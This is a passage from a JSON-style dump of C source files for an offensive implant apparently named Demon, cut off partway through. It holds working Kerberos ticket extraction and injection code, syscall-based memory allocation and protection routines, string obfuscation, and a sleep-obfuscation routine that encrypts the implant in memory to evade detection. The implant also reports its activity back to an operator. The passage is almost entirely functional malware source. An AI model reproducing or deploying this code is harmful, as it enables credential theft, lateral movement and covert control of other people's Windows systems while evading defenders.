name;\n\n    if ( ! hToken )\n        goto END;\n\n    highIntegrity = IsHighIntegrity( hToken );\n    if ( ! highIntegrity )\n    {\n        PUTS( \"[!] Not in high integrity.\" );\n        goto END;\n    }\n\n    status = GetLsaHandle( hToken, highIntegrity, &hLsa );\n    if ( ! NT_SUCCESS( status ) || ! hLsa )\n    {\n        PRINTF( \"[!] GetLsaHandle %ld\\n\", status );\n        goto END;\n    }\n\n    status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );\n    if ( ! NT_SUCCESS( status ) )\n    {\n        PRINTF( \"[!] LsaLookupAuthenticationPackage %lx\\n\", status );\n        goto END;\n    }\n\n    submitRequest = Instance->Win32.LocalAlloc( LPTR, submitSize * sizeof( KERB_SUBMIT_TKT_REQUEST ) );\n    if ( ! submitRequest )\n        goto END;\n\n    submitRequest->MessageType    = _KerbSubmitTicketMessage;\n    submitRequest->KerbCredSize   = TicketSize;\n    submitRequest->KerbCredOffset = sizeof( KERB_SUBMIT_TKT_REQUEST );\n\n    if ( highIntegrity )\n    {\n        submitRequest->LogonId = luid;\n    }\n\n    MemCopy( RVA( PBYTE, submitRequest, submitRequest->KerbCredOffset ), Ticket, TicketSize );\n\n    status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus );\n\n    if ( ! NT_SUCCESS( status ) )\n    {\n        PRINTF( \"[!] LsaCallAuthenticationPackage: %lx\\n\", status )\n        goto END;\n    }\n\n    if ( ! NT_SUCCESS( protocolStatus ) )\n    {\n        PRINTF( \"[!] LsaCallAuthenticationPackage: %lx\\n\", protocolStatus )\n        goto END;\n    }\n\n\n    ReturnValue = TRUE;\n\nEND:\n    if ( submitRequest ) {\n        Instance->Win32.LocalFree( submitRequest );\n    }\n    if ( hLsa ) {\n        Instance->Win32.LsaDeregisterLogonProcess( hLsa );\n    }\n    MemZero( name, sizeof( name ) );\n\n    return ReturnValue;\n}\n\nBOOL Purge( HANDLE hToken, LUID luid )\n{\n    BOOL                         ReturnValue    = FALSE;\n    BOOL                         highIntegrity  = FALSE;\n    HANDLE                       hLsa           = NULL;\n    LSA_STRING                   krbAuth        = {.Buffer = NULL, .Length = 8, .MaximumLength = 9};\n    NTSTATUS                     status         = STATUS_UNSUCCESSFUL;\n    NTSTATUS                     protocolStatus = STATUS_UNSUCCESSFUL;\n    KERB_PURGE_TKT_CACHE_REQUEST purgeRequest   = { 0 };\n    ULONG                        authPackage    = 0;\n    PVOID                        purgeResponse  = NULL;\n    ULONG                        responseSize   = 0;\n    CHAR                         name[9]        = { 0 };\n\n    name[ 5 ] = HideChar('r');\n    name[ 0 ] = HideChar('k');\n    name[ 8 ] = HideChar( 0);\n    name[ 1 ] = HideChar('e');\n    name[ 2 ] = HideChar('r');\n    name[ 7 ] = HideChar('s');\n    name[ 3 ] = HideChar('b');\n    name[ 6 ] = HideChar('o');\n    name[ 4 ] = HideChar('e');\n\n    krbAuth.Buffer = name;\n\n    if ( ! hToken )\n        goto END;\n\n    highIntegrity = IsHighIntegrity( hToken );\n    if ( ! highIntegrity )\n    {\n        PUTS( \"[!] Not in high integrity.\" );\n        goto END;\n    }\n\n    status = GetLsaHandle( hToken, highIntegrity, &hLsa );\n    if ( ! NT_SUCCESS( status ) || ! hLsa )\n    {\n        PRINTF( \"[!] GetLsaHandle %ld\\n\", status );\n        goto END;\n    }\n\n    status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );\n    if ( ! NT_SUCCESS( status ) )\n    {\n        PRINTF( \"[!] LsaLookupAuthenticationPackage %lx\\n\", status );\n        goto END;\n    }\n\n    //purgeRequest.MessageType = KerbPurgeTicketCacheMessage;\n    purgeRequest.MessageType = 6;\n\n    if ( highIntegrity )\n        purgeRequest.LogonId = luid;\n    else\n        purgeRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};\n\n    purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L\"\", .Length = 0, .MaximumLength = 1};\n    purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L\"\", .Length = 0, .MaximumLength = 1};\n\n    status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus );\n\n    if ( purgeResponse )\n    {\n        Instance->Win32.LsaFreeReturnBuffer( purgeResponse ); purgeResponse = NULL;\n    }\n\n    if ( ! NT_SUCCESS( status ) )\n    {\n        PRINTF( \"[!] LsaCallAuthenticationPackage: %lx\\n\", status )\n        goto END;\n    }\n\n    if ( ! NT_SUCCESS( protocolStatus ) )\n    {\n        PRINTF( \"[!] LsaCallAuthenticationPackage: %lx\\n\", protocolStatus )\n        goto END;\n    }\n\n    ReturnValue = TRUE;\n\nEND:\n    if (hLsa) {\n        Instance->Win32.LsaDeregisterLogonProcess( hLsa );\n    }\n    MemZero( name, sizeof( name ) );\n\n    return ReturnValue;\n}\n\nPSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )\n{\n    BOOL                              ReturnValue    = FALSE;\n    BOOL                              highIntegrity  = FALSE;\n    HANDLE                            hLsa           = NULL;\n    ULONG                             authPackage    = 0;\n    LSA_STRING                        krbAuth        = {.Buffer = NULL, .Length = 8, .MaximumLength = 9};\n    PLOGON_SESSION_DATA               sessionData    = NULL;\n    KERB_QUERY_TKT_CACHE_REQUEST      cacheRequest   = { 0 };\n    PKERB_QUERY_TKT_CACHE_EX_RESPONSE cacheResponse  = NULL;\n    ULONG                             responseSize   = 0;\n    NTSTATUS                          protocolStatus = STATUS_SUCCESS;\n    NTSTATUS                          status         = STATUS_SUCCESS;\n    PSESSION_INFORMATION              Sessions       = NULL;\n    PSESSION_INFORMATION              NewSession     = NULL;\n    PSESSION_INFORMATION              TmpSession     = NULL;\n    PTICKET_INFORMATION               TicketInfo     = NULL;\n    PTICKET_INFORMATION               TmpTicketInfo  = NULL;\n    CHAR                              name[9]        = { 0 };\n\n    name[ 5 ] = HideChar('r');\n    name[ 0 ] = HideChar('k');\n    name[ 8 ] = HideChar( 0);\n    name[ 1 ] = HideChar('e');\n    name[ 2 ] = HideChar('r');\n    name[ 7 ] = HideChar('s');\n    name[ 3 ] = HideChar('b');\n    name[ 6 ] = HideChar('o');\n    name[ 4 ] = HideChar('e');\n\n    krbAuth.Buffer = name;\n\n    if ( ! hToken )\n        goto END;\n\n    highIntegrity = IsHighIntegrity( hToken );\n    if ( ! highIntegrity )\n    {\n        PUTS( \"[!] Not in high integrity.\" );\n        goto END;\n    }\n\n    status = GetLsaHandle( hToken, highIntegrity, &hLsa );\n    if ( ! NT_SUCCESS( status ) || ! hLsa )\n    {\n        PRINTF( \"[!] GetLsaHandle %ld\\n\", status );\n        goto END;\n    }\n\n    status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );\n    if ( ! NT_SUCCESS( status ) )\n    {\n        PRINTF( \"[!] LsaLookupAuthenticationPackage %ld\\n\", Instance->Win32.LsaNtStatusToWinError( status ) );\n        goto END;\n    }\n\n    status = GetLogonSessionData( luid, &sessionData );\n    if ( ! NT_SUCCESS( status ) || ! sessionData )\n    {\n        PRINTF( \"[!] GetLogonSessionData: %lx\", status );\n        goto END;\n    }\n\n    //cacheRequest.MessageType = KerbQueryTicketCacheExMessage;\n    cacheRequest.MessageType = 14;\n    for ( int i = 0; i < sessionData->sessionCount; i++ )\n    {\n        if ( sessionData->sessionData[i] == NULL )\n            continue;\n\n        NewSession = Instance->Win32.LocalAlloc( LPTR, sizeof( SESSION_INFORMATION ) );\n        if ( ! NewSession )\n            continue;\n\n        CopySessionInfo( NewSession, sessionData->sessionData[i] );\n\n        if ( ! Sessions )\n        {\n            NewSession->Next = NULL;\n            Sessions = NewSession;\n        }\n        else\n        {\n            TmpSession = Sessions;\n            while ( TmpSession->Next )\n                TmpSession = TmpSession->Next;\n\n            TmpSession->Next = NewSession;\n        }\n\n        if ( highIntegrity )\n            cacheRequest.LogonId = sessionData->sessionData[i]->LogonId;\n        else\n            cacheRequest.LogonId = ( LUID ){.HighPart = 0, .LowPart = 0};\n\n        Instance->Win32.LsaFreeReturnBuffer( sessionData->sessionData[i] );\n\n        cacheResponse = NULL;\n        status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &cacheRequest, sizeof( cacheRequest ), (LPVOID*)&cacheResponse, &responseSize, &protocolStatus );\n        if ( ! NT_SUCCESS( status ) )\n        {\n            PRINTF( \"[!] LsaCallAuthenticationPackage %ld\\n\", Instance->Win32.LsaNtStatusToWinError( status ) );\n            continue;\n        }\n\n        if ( protocolStatus == STATUS_NO_SUCH_LOGON_SESSION )\n            continue;\n\n        if ( ! NT_SUCCESS( protocolStatus ) )\n        {\n            PRINTF( \"[!] LsaCallAuthenticationPackage %lx\\n\", protocolStatus );\n            continue;\n        }\n\n        if ( ! cacheResponse )\n            continue;\n\n        for ( int j = 0; j < cacheResponse->CountOfTickets; j++ )\n        {\n            TicketInfo = Instance->Win32.LocalAlloc( LPTR, sizeof( TICKET_INFORMATION ) );\n            if ( ! TicketInfo )\n                continue;\n\n            CopyTicketInfo( TicketInfo, &cacheResponse->Tickets[j] );\n\n            ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheResponse->Tickets[j].ServerName, (PUCHAR*)&TicketInfo->Ticket.Buffer, &TicketInfo->Ticket.Length);\n\n            if ( ! NewSession->Tickets )\n            {\n                NewSession->Tickets = TicketInfo;\n                TicketInfo->Next    = NULL;\n            }\n            else\n            {\n                TmpTicketInfo = NewSession->Tickets;\n                while ( TmpTicketInfo->Next )\n                    TmpTicketInfo = TmpTicketInfo->Next;\n\n                TmpTicketInfo->Next = TicketInfo;\n                TicketInfo->Next    = NULL;\n            }\n        }\n\n        Instance->Win32.LsaFreeReturnBuffer( cacheResponse ); cacheResponse = NULL;\n    }\n\n    ReturnValue = TRUE;\n\nEND:\n    if ( sessionData && sessionData->sessionData ) {\n        Instance->Win32.LocalFree( sessionData->sessionData );\n    }\n    if ( sessionData ) {\n        Instance->Win32.LocalFree( sessionData );\n    }\n    if ( hLsa ) {\n        Instance->Win32.LsaDeregisterLogonProcess( hLsa );\n    }\n    MemZero( name, sizeof( name ) );\n\n    if ( ReturnValue && Sessions ) {\n        return Sessions;\n    } else {\n        return NULL;\n    }\n}\n\nLUID* GetLUID( HANDLE hToken )\n{\n    TOKEN_STATISTICS tokenStats = { 0 };\n    DWORD            tokenSize  = 0;\n    LUID*            luid       = NULL;\n\n    if ( ! hToken )\n        return NULL;\n\n    if ( ! Instance->Win32.GetTokenInformation( hToken, TokenStatistics, &tokenStats, sizeof( tokenStats ), &tokenSize ) )\n        return NULL;\n\n    luid = Instance->Win32.LocalAlloc( LPTR, sizeof( LUID ) );\n    if ( ! luid )\n        return NULL;\n\n    luid->HighPart = tokenStats.AuthenticationId.HighPart;\n    luid->LowPart  = tokenStats.AuthenticationId.LowPart;\n\n    return luid;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Memory.c",
    "content": "#include <Demon.h>\n#include <core/Memory.h>\n#include <core/MiniStd.h>\n\n/*!\n * @brief\n *  allocate memory on the heap\n *\n * @param Length\n *  size of memory to allocate\n *\n * @return\n *  allocated buffer pointer on the heap\n */\nPVOID MmHeapAlloc(\n    _In_ ULONG Length\n) {\n    return Instance->Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Length );\n}\n\n/*!\n * @brief\n *  allocate memory on the heap\n *\n * @param Length\n *  size of memory to reallocate\n *\n * @return\n *  allocated buffer pointer on the heap\n */\nPVOID MmHeapReAlloc(\n    _In_ PVOID Memory,\n    _In_ ULONG Length\n) {\n    return Instance->Win32.RtlReAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Memory, Length );\n}\n\n/*!\n * @brief\n *  free memory on the heap\n *\n * @param Memory\n *  memory to free\n *\n * @return\n *  if successfully freed memory on the heap\n */\nBOOL MmHeapFree(\n    _In_ PVOID Memory\n) {\n    return Instance->Win32.RtlFreeHeap( NtProcessHeap(), 0, Memory );\n}\n\n/*!\n * Allocates virtual memory\n * @param Method\n * @param Process\n * @param Size\n * @param Protect\n * @return\n */\nPVOID MmVirtualAlloc(\n    IN DX_MEMORY Methode,\n    IN HANDLE    Process,\n    IN SIZE_T    Size,\n    IN DWORD     Protect\n) {\n    PPACKAGE Package  = NULL;\n    PVOID    Memory   = NULL;\n    NTSTATUS NtStatus = STATUS_SUCCESS;\n\n    if ( Instance->Config.Implant.Verbose && ( Methode != DX_MEM_DEFAULT ) ) {\n        Package = PackageCreate( DEMON_INFO );\n        PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC );\n    }\n\n    switch ( Methode )\n    {\n        case DX_MEM_DEFAULT: PUTS( \"DX_MEM_DEFAULT\" ) {\n            Memory = Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ?\n                     MmVirtualAlloc( Instance->Config.Memory.Alloc, Process, Size, Protect ) :  // if the config memory alloc ain't default then use that\n                     MmVirtualAlloc( DX_MEM_SYSCALL, Process, Size, Protect );                 // if it is default then simply choose Native/Syscall\n\n            return Memory;\n        }\n\n        case DX_MEM_WIN32: {\n            PRINTF( \"VirtualAllocEx( %x, NULL, %ld, %ld, %ld ) => \", Process, Size, MEM_RESERVE | MEM_COMMIT, Protect );\n            Memory = Instance->Win32.VirtualAllocEx( Process, NULL, Size, MEM_RESERVE | MEM_COMMIT, Protect );\n            PRINTF( \"%p\\n\", Memory )\n            break;\n        }\n\n        case DX_MEM_SYSCALL: {\n            if ( ! NT_SUCCESS( NtStatus = SysNtAllocateVirtualMemory( Process, &Memory, 0, &Size, MEM_COMMIT | MEM_RESERVE, Protect ) ) ) {\n                PRINTF( \"[-] NtAllocateVirtualMemory: Failed:[%lx]\\n\", NtStatus )\n                NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n                Memory = NULL;\n            }\n\n            break;\n        }\n\n        default: {\n            break;\n        }\n    }\n\n    PRINTF( \"Memory:[%p] MemSize:[%d]\\n\", Memory, Size );\n\n    if ( Memory && Instance->Config.Implant.Verbose ) {\n        Package = PackageCreate( DEMON_INFO );\n        PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC );\n        PackageAddPtr( Package, Memory );\n        PackageAddInt32( Package, Size );\n        PackageAddInt32( Package, Protect );\n        PackageTransmit( Package );\n        Package = NULL;\n    }\n\n    return Memory;\n}\n\n/*!\n * Changes the protection of a virtual memory.\n * @param Method\n * @param Process\n * @param Memory\n * @param Size\n * @param Protect\n * @return\n */\nBOOL MmVirtualProtect(\n    IN DX_MEMORY Method,\n    IN HANDLE    Process,\n    IN PVOID     Memory,\n    IN SIZE_T    Size,\n    IN DWORD     Protect\n) {\n    PPACKAGE  Package    = NULL;\n    NTSTATUS  NtStatus   = STATUS_SUCCESS;\n    ULONG     OldProtect = 0;\n    BOOL      Success    = FALSE;\n\n    switch ( Method )\n    {\n        case DX_MEM_DEFAULT: PUTS( \"DX_MEM_DEFAULT\" ) {\n            if ( Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ) {\n                return MmVirtualProtect( Instance->Config.Memory.Alloc, Process, Memory, Size, Protect );\n            } else {\n                return MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect );\n            }\n        }\n\n        case DX_MEM_WIN32: {\n            Success = Instance->Win32.VirtualProtectEx( Process, Memory, Size, Protect, &OldProtect );\n            break;\n        }\n\n        case DX_MEM_SYSCALL: {\n            if ( ! NT_SUCCESS( NtStatus = SysNtProtectVirtualMemory( Process, &Memory, &Size, Protect, &OldProtect ) ) ) {\n                NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n            } else {\n                Success = TRUE;\n            }\n\n            break;\n        }\n\n        default: {\n            Success = FALSE;\n        }\n    }\n\n    if ( Success && Instance->Config.Implant.Verbose ) {\n        Package = PackageCreate( DEMON_INFO );\n        PackageAddInt32( Package, DEMON_INFO_MEM_PROTECT );\n        PackageAddPtr( Package, Memory );\n        PackageAddInt32( Package, Size );\n        PackageAddInt32( Package, OldProtect );\n        PackageAddInt32( Package, Protect );\n        PackageTransmit( Package );\n        Package = NULL;\n    }\n\n    return Success;\n}\n\nBOOL MmVirtualWrite(\n    IN  HANDLE Process,\n    OUT PVOID  Memory,\n    IN  PVOID  Buffer,\n    IN  SIZE_T Size\n) {\n    if ( ! Process || ! Memory || ! Buffer || ! Size ) {\n        return FALSE;\n    }\n\n    return NT_SUCCESS( SysNtWriteVirtualMemory( Process, Memory, Buffer, Size, NULL ) );\n}\n\n\n/*!\n * Frees virtual memory\n * @param Process\n * @param Memory\n * @return\n */\nBOOL MmVirtualFree(\n    IN HANDLE Process,\n    IN PVOID  Memory\n) {\n    SIZE_T                   Length   = { 0 };\n    MEMORY_BASIC_INFORMATION MmBasic  = { 0 };\n\n    //\n    // query memory type\n    //\n    if ( ! NT_SUCCESS( SysNtQueryVirtualMemory(\n        Process,\n        Memory,\n        MemoryBasicInformation,\n        &MmBasic,\n        sizeof( MmBasic ),\n        NULL\n    ) ) ) {\n        return FALSE;\n    }\n\n    //\n    // check if it's a mapped image\n    //\n    if ( ( MmBasic.Type == MEM_MAPPED ) ) {\n        return NT_SUCCESS( SysNtUnmapViewOfSection( NtCurrentProcess(), Memory ) );\n    } else {\n        return NT_SUCCESS( SysNtFreeVirtualMemory( Process, &Memory, &Length, MEM_RELEASE ) );\n    }\n}\n\nPVOID MmGadgetFind(\n    _In_ PVOID  Memory,\n    _In_ SIZE_T Length,\n    _In_ PVOID  PatternBuffer,\n    _In_ SIZE_T PatternLength\n) {\n    /* check if required arguments have been specified */\n    if ( ( ! Memory        || ! Length        ) ||\n         ( ! PatternBuffer || ! PatternLength )\n    ) {\n        return NULL;\n    }\n\n    /* now search for gadgets/pattern */\n    for ( SIZE_T Len = 0; Len < Length; Len++ ) {\n        if ( MemCompare( C_PTR( U_PTR( Memory ) + Len ), PatternBuffer, PatternLength ) == 0 ) {\n            return C_PTR( U_PTR( Memory ) + Len );\n        }\n    }\n\n    return NULL;\n}\n\n#ifdef SHELLCODE\n/*!\n * Frees the reflective loader\n * @param BaseAddress\n * @return\n */\nBOOL FreeReflectiveLoader(\n    IN PVOID BaseAddress\n) {\n    if ( ! BaseAddress )\n        return TRUE;\n\n    // page align the address\n    BaseAddress = ( PVOID ) ( ( ( ULONG_PTR )BaseAddress ) & ( ~ ( PAGE_SIZE - 1 ) ) );\n\n    PRINTF( \"Freeing the reflective loader at: 0x%p\\n\", BaseAddress )\n\n    return MmVirtualFree( NtCurrentProcess(), BaseAddress );\n}\n#endif\n"
  },
  {
    "path": "payloads/Demon/src/core/MiniStd.c",
    "content": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n\n/*\n * Most of the functions from here are from VX-Underground https://github.com/vxunderground/VX-API\n */\n\nINT StringCompareA( LPCSTR String1, LPCSTR String2 )\n{\n    for (; *String1 == *String2; String1++, String2++)\n    {\n        if (*String1 == '\\0')\n            return 0;\n    }\n\n    return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1);\n\n}\n\nINT StringCompareW( LPWSTR String1, LPWSTR String2 )\n{\n    for (; *String1 == *String2; String1++, String2++)\n    {\n        if (*String1 == '\\0')\n            return 0;\n    }\n\n    return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1);\n\n}\n\nINT StringNCompareW( LPWSTR String1, LPWSTR String2, INT Length )\n{\n    for (; *String1 == *String2; String1++, String2++, Length--)\n    {\n        if (*String1 == '\\0')\n            return 0;\n\n        if ( Length == 1 )\n            return 0;\n    }\n\n    return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1);\n\n}\n\nWCHAR ToLowerCaseW( WCHAR C )\n{\n    return C > 0x40 && C < 0x5b ? C | 0x60 : C;\n}\n\nINT StringCompareIW( LPWSTR String1, LPWSTR String2 )\n{\n    for (; ToLowerCaseW( *String1 ) == ToLowerCaseW( *String2 ); String1++, String2++)\n    {\n        if (*String1 == '\\0')\n            return 0;\n    }\n\n    return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1);\n\n}\n\nINT StringNCompareIW( LPWSTR String1, LPWSTR String2, INT Length )\n{\n    for (; ToLowerCaseW( *String1 ) == ToLowerCaseW( *String2 ); String1++, String2++, Length--)\n    {\n        if (*String1 == '\\0')\n            return 0;\n\n        if ( Length == 1 )\n            return 0;\n    }\n\n    return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1);\n\n}\n\nBOOL EndsWithIW( LPWSTR String, LPWSTR Ending )\n{\n    DWORD Length1 = 0;\n    DWORD Length2 = 0;\n\n    if ( ! String || ! Ending )\n        return FALSE;\n\n    Length1 = StringLengthW( String );\n    Length2 = StringLengthW( Ending );\n\n    if ( Length1 < Length2 )\n        return FALSE;\n\n    String = &String[ Length1 - Length2 ];\n\n    return StringCompareIW( String, Ending ) == 0;\n}\n\n/* TODO: replace every func with HashEx */\nDWORD HashStringA( PCHAR String )\n{\n    ULONG Hash = HASH_KEY;\n    INT c;\n\n    while (c = *String++)\n        Hash = ((Hash << 5) + Hash) + c;\n\n    return Hash;\n}\n\n\nPCHAR StringCopyA(PCHAR String1, PCHAR String2)\n{\n    PCHAR p = String1;\n\n    while ((*p++ = *String2++) != 0);\n\n    return String1;\n}\n\nPWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)\n{\n    PWCHAR p = String1;\n\n    while ((*p++ = *String2++) != 0);\n\n    return String1;\n}\n\nSIZE_T StringLengthA(LPCSTR String)\n{\n    LPCSTR String2;\n\n    if ( String == NULL )\n        return 0;\n\n    for (String2 = String; *String2; ++String2);\n\n    return (String2 - String);\n}\n\nSIZE_T StringLengthW(LPCWSTR String)\n{\n    LPCWSTR String2;\n\n    for (String2 = String; *String2; ++String2);\n\n    return (String2 - String);\n}\n\nPCHAR StringConcatA(PCHAR String, PCHAR String2)\n{\n    StringCopyA( &String[ StringLengthA( String ) ], String2 );\n\n    return String;\n}\n\nPWCHAR StringConcatW(PWCHAR String, PWCHAR String2)\n{\n    StringCopyW( &String[ StringLengthW( String ) ], String2 );\n\n    return String;\n}\n\nLPWSTR WcsStr( PWCHAR String, PWCHAR String2 )\n{\n    if ( ! String || ! String2 )\n        return NULL;\n\n    UINT32 Size1 = StringLengthW( String );\n    UINT32 Size2 = StringLengthW( String2 );\n\n    if ( Size2 > Size1 )\n        return NULL;\n\n    for ( UINT32 i = 0; i < Size1 - Size2 + 1; i++ )\n    {\n        if ( StringNCompareW( String + i, String2, Size2 ) == 0 )\n            return String + i;\n    }\n\n    return NULL;\n}\n\nLPWSTR WcsIStr( PWCHAR String, PWCHAR String2 )\n{\n    if ( ! String || ! String2 )\n        return NULL;\n\n    UINT32 Size1 = StringLengthW( String );\n    UINT32 Size2 = StringLengthW( String2 );\n\n    if ( Size2 > Size1 )\n        return NULL;\n\n    for ( UINT32 i = 0; i < Size1 - Size2 + 1; i++ )\n    {\n        if ( StringNCompareIW( String + i, String2, Size2 ) == 0 )\n            return String + i;\n    }\n\n    return NULL;\n}\n\nINT MemCompare( PVOID s1, PVOID s2, INT len)\n{\n    PUCHAR p = s1;\n    PUCHAR q = s2;\n    INT charCompareStatus = 0;\n\n    if ( s1 == s2 ) {\n        return charCompareStatus;\n    }\n\n    while (len > 0)\n    {\n        if (*p != *q)\n        {\n            charCompareStatus = (*p >*q)?1:-1;\n            break;\n        }\n        len--;\n        p++;\n        q++;\n    }\n    return charCompareStatus;\n}\n\nSIZE_T WCharStringToCharString(PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed)\n{\n    INT Length = MaximumAllowed;\n\n    while (--Length >= 0)\n    {\n        if (!(*Destination++ = *Source++))\n            return MaximumAllowed - Length - 1;\n    }\n\n    return MaximumAllowed - Length;\n}\n\nSIZE_T CharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed )\n{\n    INT Length = (INT)MaximumAllowed;\n\n    while (--Length >= 0)\n    {\n        if ( ! ( *Destination++ = *Source++ ) )\n            return MaximumAllowed - Length - 1;\n    }\n\n    return MaximumAllowed - Length;\n}\n\nPCHAR StringTokenA(PCHAR String, CONST PCHAR Delim)\n{\n    PCHAR SpanP, Token;\n    INT C, SC;\n\n    if ( String == NULL )\n        return NULL;\n\nCONTINUE:\n\n    C = *String++;\n\n    for (SpanP = (PCHAR)Delim; (SC = *SpanP++) != ERROR_SUCCESS;)\n    {\n        if (C == SC)\n            goto CONTINUE;\n    }\n\n    if (C == ERROR_SUCCESS)\n        return NULL;\n\n    Token = String - 1;\n\n    for (;;)\n    {\n        C = *String++;\n        SpanP = (PCHAR)Delim;\n\n        do {\n            if ((SC = *SpanP++) == C)\n            {\n                if (C == ERROR_SUCCESS)\n                    String = NULL;\n                else\n                    String[-1] = '\\0';\n\n                return Token;\n            }\n        } while (SC != ERROR_SUCCESS);\n    }\n\n    return NULL;\n\n}\n\nUINT64 GetSystemFileTime( )\n{\n    FILETIME ft;\n    LARGE_INTEGER li;\n\n    Instance->Win32.GetSystemTimeAsFileTime(&ft); //returns ticks in UTC\n    li.LowPart  = ft.dwLowDateTime;\n    li.HighPart = ft.dwHighDateTime;\n\n    return li.QuadPart;\n}\n\n/* This is a simple trick to hide strings from memory :^) */\nBYTE NO_INLINE HideChar( BYTE C )\n{\n    return C;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Obf.c",
    "content": "#include <Demon.h>\n\n#include <common/Macros.h>\n#include <core/SleepObf.h>\n#include <core/Win32.h>\n#include <core/MiniStd.h>\n#include <core/Thread.h>\n\n#include <rpcndr.h>\n#include <ntstatus.h>\n\n#if _WIN64\n\n/*!\n * @brief\n *  foliage is a sleep obfuscation technique that is using APC calls\n *  to obfuscate itself in memory\n *\n * @param Param\n * @return\n */\nVOID FoliageObf(\n    IN PSLEEP_PARAM Param\n) {\n    USTRING             Key         = { 0 };\n    USTRING             Rc4         = { 0 };\n    UCHAR               Random[16]  = { 0 };\n\n    HANDLE              hEvent      = NULL;\n    HANDLE              hThread     = NULL;\n    HANDLE              hDupObj     = NULL;\n\n    // Rop Chain Thread Ctx\n    PCONTEXT            RopInit     = { 0 };\n    PCONTEXT            RopCap      = { 0 };\n    PCONTEXT            RopSpoof    = { 0 };\n\n    PCONTEXT            RopBegin    = { 0 };\n    PCONTEXT            RopSetMemRw = { 0 };\n    PCONTEXT            RopMemEnc   = { 0 };\n    PCONTEXT            RopGetCtx   = { 0 };\n    PCONTEXT            RopSetCtx   = { 0 };\n    PCONTEXT            RopWaitObj  = { 0 };\n    PCONTEXT            RopMemDec   = { 0 };\n    PCONTEXT            RopSetMemRx = { 0 };\n    PCONTEXT            RopSetCtx2  = { 0 };\n    PCONTEXT            RopExitThd  = { 0 };\n\n    LPVOID              ImageBase   = NULL;\n    SIZE_T              ImageSize   = 0;\n    LPVOID              TxtBase     = NULL;\n    SIZE_T              TxtSize     = 0;\n    DWORD               dwProtect   = PAGE_EXECUTE_READWRITE;\n    SIZE_T              TmpValue    = 0;\n\n    ImageBase = Instance->Session.ModuleBase;\n    ImageSize = Instance->Session.ModuleSize;\n\n    // Check if .text section is defined\n    if (Instance->Session.TxtBase != 0 && Instance->Session.TxtSize != 0) {\n        TxtBase = Instance->Session.TxtBase;\n        TxtSize = Instance->Session.TxtSize;\n        dwProtect  = PAGE_EXECUTE_READ;\n    } else {\n        TxtBase = Instance->Session.ModuleBase;\n        TxtSize = Instance->Session.ModuleSize;\n    }\n\n    // Generate random keys\n    for ( SHORT i = 0; i < 16; i++ )\n        Random[ i ] = RandomNumber32( );\n\n    Key.Buffer = &Random;\n    Key.Length = Key.MaximumLength = 0x10;\n\n    Rc4.Buffer = ImageBase;\n    Rc4.Length = Rc4.MaximumLength = ImageSize;\n\n    if ( NT_SUCCESS( SysNtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ) ) )\n    {\n        if ( NT_SUCCESS( SysNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL ) ) )\n        {\n            RopInit     = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopCap      = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopSpoof    = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n\n            RopBegin    = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopSetMemRw = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopMemEnc   = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopGetCtx   = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopSetCtx   = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopWaitObj  = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopMemDec   = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopSetMemRx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopSetCtx2  = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n            RopExitThd  = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );\n\n            RopInit->ContextFlags       = CONTEXT_FULL;\n            RopCap->ContextFlags        = CONTEXT_FULL;\n            RopSpoof->ContextFlags      = CONTEXT_FULL;\n\n            RopBegin->ContextFlags      = 